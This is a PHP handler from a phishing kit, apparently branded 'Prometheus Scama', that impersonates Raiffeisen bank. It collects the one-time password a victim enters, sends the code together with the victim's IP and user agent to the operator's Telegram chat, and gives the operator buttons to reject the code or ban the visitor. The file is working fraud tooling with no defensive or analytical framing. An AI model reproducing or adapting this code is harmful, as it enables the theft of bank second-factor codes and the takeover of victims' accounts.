<?php

defined('SECURE_CONTEXT') || define('SECURE_CONTEXT', true);
require_once dirname(__DIR__, 3) . '/app/anti.php';

if ($_SESSION['humain'] === true && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $code = trim($_POST['code'] ?? '');

    if (!empty($code)) {
        $_SESSION['code'] = htmlspecialchars($code, ENT_QUOTES, 'UTF-8');

        $get = fn($key) => htmlspecialchars($_SESSION[$key] ?? 'N/A', ENT_QUOTES, 'UTF-8');

        $text = <<<EOT
<b>🕹️ +1 RAIFFEISEN OTP</b>

<b>🕹️ Code ➟</b> <code>{$get('code')}</code>

<b>🌐 IP ➟</b> <code>{$get('ip')}</code>
<b>🌐 UA ➟</b> <code>{$get('ua')}</code>

<blockquote><b>Powered By 🛕 Prometheus Scama ® - @earthshakinggg
🛕 Author : Prometheus - @earthshakinggg</b></blockquote>
EOT;

        if ($CONFIG['webhook_buttons'] == true) {
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'callback_data' => "ban={$ip}"],
                    ],
                    [
                        ['text' => '❌ CODE INVALIDE ❌', 'callback_data' => "raiffotp_error={$ip}"],
                        ['text' => '🚪FIN 🚪', 'callback_data' => "success={$ip}"]
                    ],
                ]
            ];
        } else {
            $whBase = web_url('app/webhook.php');
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'url' => "{$whBase}?ban={$ipQuery}"],
                    ],
                    [
                        ['text' => '❌ CODE INVALIDE ❌', 'url' => "{$whBase}?raiffotp_error={$ipQuery}"],
                        ['text' => '🚪FIN 🚪', 'url' => "{$whBase}?success={$ipQuery}"]
                    ],
                ]
            ];
        }

        sendMessage($CONFIG['chat_id'], $text, $buttons);

        $_SESSION['otp-error'] = '';
        $_SESSION['previous-page'] = '';
        header('Location: ../../loading/');
        exit;
    } else {
        $_SESSION['otp-error'] = 'Le code que vous avez entré est incorrect. Veuillez réessayer.';
        header('Location: ../?error');
        exit;
    }
} else {
    $_SESSION['otp-error'] = 'Requête invalide.';
    header('Location: ../../../support/index.html');
    exit;
}
